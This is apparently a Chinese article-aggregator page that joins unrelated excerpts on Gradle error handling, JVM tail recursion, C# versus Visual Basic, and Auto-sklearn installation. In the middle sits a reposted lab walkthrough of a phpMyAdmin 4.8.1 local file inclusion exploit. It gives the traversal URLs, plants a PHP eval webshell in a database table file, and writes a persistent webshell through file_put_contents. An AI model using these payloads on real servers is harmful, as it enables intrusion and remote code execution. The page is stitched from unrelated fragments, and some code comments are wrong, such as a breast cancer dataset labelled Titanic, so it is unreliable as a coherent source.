尽管上面的示例展示了基本的自定义错误处理逻辑,但在实际场景中,你可能需要处理更复杂的情况,如根据不同类型的异常采取不同的策略,或者在全局范围内定义统一的错误处理器。为了让大家更自由地施展拳脚,Gradle提供了一系列超级实用的API工具箱。比如说,你可以想象一下,在你的整个项目评估完成之后,就像烘焙蛋糕出炉后撒糖霜一样,我们可以利用afterEvaluate这个神奇的生命周期回调函数,给项目挂上一个全局的异常处理器,确保任何小差错都逃不过它的“法眼”。 总的来说,在Gradle插件中定义自定义错误处理逻辑是一项重要的实践,它能帮助我们提升构建过程中的健壮性和用户体验。希望本文举的例子和讨论能实实在在帮到你,让你对这项技术有更接地气的理解和应用。这样一来,任何可能出现的异常情况,咱们都能把它变成一个展示咱优雅应对、积极改进的好机会,让问题不再是问题,而是进步的阶梯。
2023-05-21 19:08:26
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半夏微凉
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...操作。尾递归优化是指编译器或解释器识别这种尾递归调用并将其转换为等效循环结构的过程,从而避免栈空间的无限制增长。文中提及,Java虚拟机(JVM)目前缺乏尾递归优化的支持,这在处理递归算法尤其是实现不可变系统时,可能会增加内存开销和性能压力。
2023-11-21 23:48:35
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.net
...dows系统上,用C编译出的代码那跑起来简直是飞一般的感觉,速度快到没朋友!另外,C还自带了一大堆超实用的类库和API工具箱,这让开发者们能轻轻松松地写出高效能的应用程序,就像在厨房里有了一整套齐全的厨具,做起菜来更加得心应手。 下面是一个简单的C程序示例: csharp using System; namespace HelloWorld { class Program { static void Main(string[] args) { Console.WriteLine("Hello, World!"); } } } 在这个程序中,我们定义了一个名为HelloWorld的程序集,并在其中定义了一个名为Program的类。然后,在我们的程序中心点——Main方法里头,我们让计算机蹦出了“Hello, World!”这句话。这就是咱们这个小程序最核心、最精髓的部分啦! 3. Visual Basic Visual Basic是一种可视化编程语言,它的语法比较简单,易于学习和使用,非常适合初学者入门。你知道吗,Visual Basic有个超赞的优点——它自带了一大堆可视化的小玩意儿和控件,这就像是给开发者准备了一整套积木。用这些积木,开发者可以像搭房子一样轻松快速地搭建出既好看又实用的应用界面,省时又省力,可酷了!此外,Visual Basic还支持许多高级特性,如事件驱动编程、多线程编程等。 下面是一个简单的Visual Basic程序示例: vbnet Module Module1 Sub Main() Console.WriteLine("Hello, World!") End Sub End Module 在这个程序中,我们定义了一个名为Module1的模块,并在其中定义了一个名为Main的方法。然后,我们在Main方法中打印出了字符串"Hello, World!",这也是我们的程序的核心逻辑。 4. C和Visual Basic的区别 虽然C和Visual Basic都是.NET的一部分,但是它们之间还是存在很多差异的。首先,咱从语言这一块儿来说,C这门语言的语法确实有点儿绕,不过人家可是藏着更多的功能和特性呢,就像是个大宝箱。而Visual Basic呢,就更像是一本初级读物,学起来轻松简单,特别适合刚入门的小白朋友来上手。其次,从性能角度来看,C编译出来的代码运行速度更快,而Visual Basic则相对较慢。最后,从实际应用场景来瞅瞅,C这门语言就像是为开发大型企业级应用而量身定制的,特别对路。相比之下,Visual Basic更适合捣鼓些小型桌面应用或者小游戏啥的,更加接地气儿。 5. 总结 总的来说,C和Visual Basic都是.NET的重要组成部分,各自有着自己的优势和适用场景。选择哪一种语言,应该根据实际的需求和情况来决定。不论你挑了哪种语言,只要你摸透了它的基本脾性和使用窍门,就绝对能捣鼓出顶尖水准的应用程序来。 感谢您阅读这篇文章,希望我的回答能够帮助到您!如果您有任何其他问题,欢迎随时联系我,我会尽全力为您解答。
2023-07-31 15:48:21
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幽谷听泉-t
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...装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
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...hon), C++ 编译器(支持 C++11)(在此处获取 GCC)。 如果您尝试在没有提供 pyrfr 包的 wheel 文件的系统上安装 Auto-sklearn(请参阅此处了解可用的 wheels),您还需要: SWIG(在此处获取 SWIG)。 有关缺少 Microsoft Windows 和 macOS 支持的说明,请查看Windows/macOS 兼容性部分。 注意:auto-sklearn 当前不支持 Windows系统,因为auto-sklearn严重依赖 Python 模块resource。是 Python 的Unix 特定服务resource 的一部分 ,在 Windows 机器上不可用。因此,无法 在 Windows 机器上运行auto-sklearn 。 autosklearn/Auto-Sklearn的使用方法 1、基础案例 import sklearn.datasetsimport autosklearn.classification 加载Titanic数据集X, y = sklearn.datasets.load_breast_cancer(return_X_y=True) 使用Auto-Sklearn训练模型model = autosklearn.classification.AutoSklearnClassifier()model.fit(X, y) 输出模型评估结果print(model.sprint_statistics()) 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_41185868/article/details/83758383。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-13 13:27:17
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